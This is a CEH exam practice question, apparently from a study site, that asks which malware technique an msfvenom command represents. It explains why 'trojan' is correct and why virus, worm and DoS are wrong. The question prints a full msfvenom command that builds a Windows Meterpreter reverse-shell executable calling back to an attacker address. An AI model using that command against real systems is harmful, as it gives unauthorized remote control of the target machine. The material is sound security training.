CEH Practice Question: Malware, Social Engineering and Network Attacks

A security analyst executes the command 'msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.10 LPORT=4444 -f exe -o shell.exe' and transfers the file to a target. Which technique is being used?

⚠ Common exam trap

EC-CEH often tests the distinction between trojans (user-executed, non-replicating) and viruses (self-replicating by infecting files), so candidates mistakenly choose 'virus' because they associate malicious executables with infection, ignoring the lack of replication mechanism.

Answer choices

Why each option matters

Answer the question above first, then reveal the full breakdown to understand why each option is right or wrong.

Correct answer & explanation

✓

Generating a Trojan

The command uses msfvenom to generate a Windows executable payload that establishes a reverse TCP connection back to the attacker's IP (192.168.1.10) on port 4444. This creates a trojan horse—malicious code disguised as a legitimate file (shell.exe)—which, when executed on the target, provides unauthorized remote access. The technique is specifically trojanization, not virus or worm propagation.

Answer analysis

Option-by-option breakdown

For each option: why learners choose it and why it is or isn't the right answer here.

✓
Generating a Trojan
Why this is correct
The msfvenom command, particularly when generating a Windows payload like a reverse shell or Meterpreter, is designed to create a malicious program that provides remote access and control over a compromised system. This type of payload establishes a persistent backdoor, allowing an attacker to execute commands and exfiltrate data. Such a program, which often relies on social engineering or embedding within legitimate software to trick users into execution, perfectly aligns with the definition and functionality of a Trojan.
✗
Creating a virus
Why it's wrong here
A virus is fundamentally characterized by its ability to attach itself to legitimate host programs or documents and then self-replicate by infecting other files on a system or network. The msfvenom command, even when generating an executable payload, produces a standalone malicious file that does not inherently possess these self-replicating or host-infecting mechanisms. While the generated payload can be a component delivered by a virus, msfvenom itself does not create a virus in the technical sense.
✗
Deploying a worm
Why it's wrong here
Worms are a distinct category of malware known for their ability to self-propagate autonomously across computer networks by exploiting vulnerabilities or using network services, without requiring a host program or user interaction. The msfvenom command solely focuses on generating the malicious payload (e.g., a reverse shell or Meterpreter session) that provides remote control. It does not include the sophisticated scanning, exploitation, and self-replication mechanisms essential for a worm to autonomously deploy and spread itself.
✗
Initiating a DoS attack
Why it's wrong here
A Denial of Service (DoS) attack aims to disrupt a service by overwhelming a target system's resources, making it unavailable to legitimate users. The msfvenom command, particularly with a 'p windows' payload, is fundamentally designed to create a backdoor or remote access mechanism, such as a reverse shell or Meterpreter session. This allows an attacker to gain control over the compromised machine, which is distinct from the resource exhaustion or service disruption goals of a DoS attack.

Visual reference

Go deeper

CEH Practice Question: Malware, Social Engineering and Network Attacks

Why each option matters

Option-by-option breakdown

Related to this question